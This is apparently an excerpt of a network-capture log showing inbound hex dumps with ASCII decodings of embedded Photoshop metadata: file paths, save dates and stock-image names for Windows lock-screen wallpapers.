2022-07-20 11:24:37 UTC	1273	IN	Data Raw: 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 46 6f 6f 74 62 72 69 64 67 65 4c 65 61 64 73 54 6f 53 65 61 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 33 30 30 6d 39 37 39 31 36 34 66 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 30 54 31 34 3a 30 31 3a 30 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 4c 61 6b 65 4d 6f 72 6e 69 6e 67 4c 69 67 68 74 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 35 37 35 6d 31 30 37 34 34 38 39 66 5f 31 30 38 30 78 Data Ascii: Q4-500_Batch1\Crops\Q4-500-1_FootbridgeLeadsToSea_Plainpicture_p300m979164f_1080x1920.jpg saved 2016-08-10T14:01:01-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-500_Batch1\Crops\Q4-500-1_LakeMorningLight_Plainpicture_p575m1074489f_1080x
2022-07-20 11:24:37 UTC	1369	IN	Data Raw: 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 33 3a 33 31 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 55 52 31 35 5f 50 72 6f 34 5f 54 61 62 6c 65 74 5f 30 35 5f 47 72 61 64 69 65 6e 74 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 33 3a 33 31 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c Data Ascii: File Lockscreen_1080x1920_Portrait.psd opened 2016-09-28T13:31:43-07:00 File C:\Users\v-lizagh\MS\Windows10\Surface\Juan\SUR15_Pro4_Tablet_05_Gradient_1080x1920.jpg saved 2016-09-28T13:31:56-07:00 File C:\Users\v-lizagh\MS\Windows10\L
2022-07-20 11:24:37 UTC	1424	IN	Data Raw: 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 30 36 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 31 36 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 Data Ascii: 0\Lockscreen_1080x1920_Portrait.psd saved 2016-10-17T18:06:53-07:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-10-17T18:16:29-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080
2022-07-20 11:24:37 UTC	1535	IN	Data Raw: 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 30 35 36 32 32 35 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 33 39 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 35 36 39 31 38 35 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 34 30 3a 31 31 2d 30 38 Data Ascii: e\Crops\Office_Skype_GettyImages-660562255_1080x1920.jpg saved 2016-11-23T15:39:14-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_Skype_GettyImages-665691853_1080x1920.jpg saved 2016-11-23T15:40:11-08
2022-07-20 11:24:37 UTC	1551	IN	Data Raw: 49 6d 61 67 65 73 2d 31 35 32 33 30 34 37 39 34 5f 31 30 38 30 78 31 39 32 30 46 46 38 34 30 44 32 36 34 41 34 32 44 31 32 30 38 41 42 41 35 35 34 35 34 36 44 31 44 35 36 32 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 34 3a 33 37 3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 72 61 6c 5c 4d 6f 76 69 65 73 5c 43 48 4f 53 45 4e 5c 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 38 34 34 39 33 38 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 Data Ascii: Images-152304794_1080x1920FF840D264A42D1208ABA554546D1D562.psb saved 2017-01-30T14:37:13-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\MS-Rewards\Entertainment-General\Movies\CHOSEN\Edge-MSRewards-Movies_GettyImages-584493872_1080x1920.jpg saved&
2022-07-20 11:24:37 UTC	1607	IN	Data Raw: 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 32 54 31 37 3a 34 35 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4d 61 72 63 68 4d 61 64 6e 65 73 73 2d 4e 43 41 41 5c 4d 61 72 63 68 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 4d 61 72 63 68 4d 61 64 6e 65 73 73 2d 4e 43 41 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d Data Ascii: Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-02-22T17:45:18-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\MarchMadness-NCAA\March\CHOSEN\MIT-MarchMadness-NCAA_GettyImages-
2022-07-20 11:24:37 UTC	1694	IN	Data Raw: 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 38 54 31 34 3a 30 32 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 Data Ascii: 0x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-03-28T14:02:24-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 201
2022-07-20 11:24:37 UTC	1742	IN	Data Raw: 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 36 34 30 38 38 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 37 54 30 39 3a 31 30 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 Data Ascii: ;File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-596408872_1080x1920.jpg saved 2017-04-27T09:10:59-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-04
2022-07-20 11:24:37 UTC	1806	IN	Data Raw: 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 32 31 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 37 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 32 32 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 34 3a 34 38 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 Data Ascii: xA;2017-05-12T16:21:19-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait7.psd saved 2017-05-12T16:22:31-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-05-15T14:48:51-07:00 F
2022-07-20 11:24:37 UTC	1886	IN	Data Raw: 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 31 34 33 33 38 31 34 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 33 54 31 35 3a 32 36 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 37 38 31 37 38 39 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 Data Ascii: indows10\Windows\China-WhatsApp\CHOSEN\Whatsapp-China_shutterstock_114338140_1080x1920.jpg saved 2017-06-13T15:26:08-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\China-WhatsApp\CHOSEN\Whatsapp-China_GettyImages-537817892_1080x1920.jpg saved&#
2022-07-20 11:24:37 UTC	1949	IN	Data Raw: 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 Data Ascii: ed 2017-07-26T13:24:34-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Chosen\MixerEngagementFY18_GettyImages-160673315_1080x1920.psd saved 2017-07-26T13:24:54-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\Mi
2022-07-20 11:24:37 UTC	1988	IN	Data Raw: 6e 65 44 72 69 76 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 34 39 38 36 30 36 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 31 34 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 32 Data Ascii: neDrive_shutterstock_374986063_1080x1920.jpg saved 2017-08-03T16:14:13-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-08-03T2
2022-07-20 11:24:37 UTC	2068	IN	Data Raw: 74 65 72 73 74 6f 63 6b 5f 34 35 35 32 35 37 34 35 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 35 3a 30 33 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 37 3a 31 33 3a 30 36 2d 30 37 3a 30 Data Ascii: terstock_455257450_1080x1920.jpg saved 2017-09-28T15:03:07-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-09-28T17:13:06-07:0
2022-07-20 11:24:37 UTC	2156	IN	Data Raw: 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 4a 68 61 72 6b 68 61 6e 64 5f 41 6c 61 6d 79 2d 44 58 44 30 46 47 5f 31 30 38 30 78 31 39 32 30 35 44 38 45 38 38 41 44 42 32 43 35 41 33 32 37 38 36 45 38 46 35 35 36 37 30 31 30 38 30 45 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 36 54 31 32 3a 35 38 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4a 68 61 72 6b 68 61 6e 64 5c 43 48 4f 53 45 4e Data Ascii: 9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Edge-Jharkhand_Alamy-DXD0FG_1080x19205D8E88ADB2C5A32786E8F556701080E5.psb saved 2017-11-16T12:58:14-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\Jharkhand\CHOSEN
2022-07-20 11:24:37 UTC	2187	IN	Data Raw: 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 34 30 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 35 37 39 32 39 37 39 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 34 31 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c Data Ascii: 6_1080x1920.jpg saved 2017-12-04T11:40:12-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Dec2017\Chosen\Crops\MIT-WinterEntDec_shutterstock_357929792_1080x1920.jpg saved 2017-12-04T11:41:08-08:00 File C:\Users\
2022-07-20 11:24:37 UTC	2267	IN	Data Raw: 32 2d 32 30 54 32 33 3a 33 35 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 5f 53 70 6f 74 6c 69 67 68 74 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 31 32 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 33 3a 33 36 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 73 63 72 65 65 6e 73 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 Data Ascii: 2-20T23:35:24-08:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Win10-Lock_Spotlight\Templates\Lockscreen_1080x1920_Portrait12.psd saved 2017-12-20T23:36:29-08:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Win10-Lockscreens\Templates\Lockscreen_1080x
2022-07-20 11:24:37 UTC	2283	IN	Data Raw: 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 31 54 31 33 3a 33 37 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 30 38 30 78 31 39 32 30 44 30 44 36 37 46 44 43 46 46 41 30 39 44 39 35 37 46 46 34 43 43 41 46 35 34 41 30 44 46 38 36 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 Data Ascii: ettyImages-161928393_1080x1920.jpg saved 2018-01-31T13:37:56-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-WinterOlympics_GettyImages-161928393_1080x1920D0D67FDCFFA09D957FF4CCAF54A0DF86.psb saved 2
2022-07-20 11:24:37 UTC	2378	IN	Data Raw: 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 33 38 3a 32 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 36 32 35 35 36 36 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 33 38 3a 33 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c Data Ascii: xA;2018-02-15T15:38:27-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_shutterstock_376255660_1080x1920.jpg saved 2018-02-15T15:38:31-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\
2022-07-20 11:24:37 UTC	2418	IN	Data Raw: 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 69 78 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 32 32 38 32 35 33 31 34 5f 31 30 38 30 78 31 39 32 30 39 35 37 37 43 42 42 46 41 39 43 35 35 39 33 44 34 30 34 43 37 46 41 42 45 46 45 30 38 31 30 46 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 34 34 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 69 Data Ascii: Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Mixer_GettyImages-922825314_1080x19209577CBBFA9C5593D404C7FABEFE0810F.psb saved 2018-03-21T15:44:44-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Round2\_CHOSEN\Crops\Mi
2022-07-20 11:24:37 UTC	2466	IN	Data Raw: 41 46 36 45 42 45 32 46 45 32 38 37 33 35 35 43 37 43 45 34 30 31 39 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 39 45 36 39 34 33 35 44 32 36 33 30 34 32 34 45 35 33 42 39 34 44 44 39 31 45 42 44 37 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 30 30 41 41 31 34 39 46 41 33 39 37 37 34 44 30 36 37 46 38 36 45 33 45 31 43 41 32 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 30 46 42 43 32 41 35 39 35 39 37 37 30 31 37 38 45 30 41 34 38 44 30 36 43 38 32 37 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 31 36 37 37 34 38 38 46 36 30 38 35 32 39 43 37 34 43 33 45 39 44 33 42 45 32 32 36 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 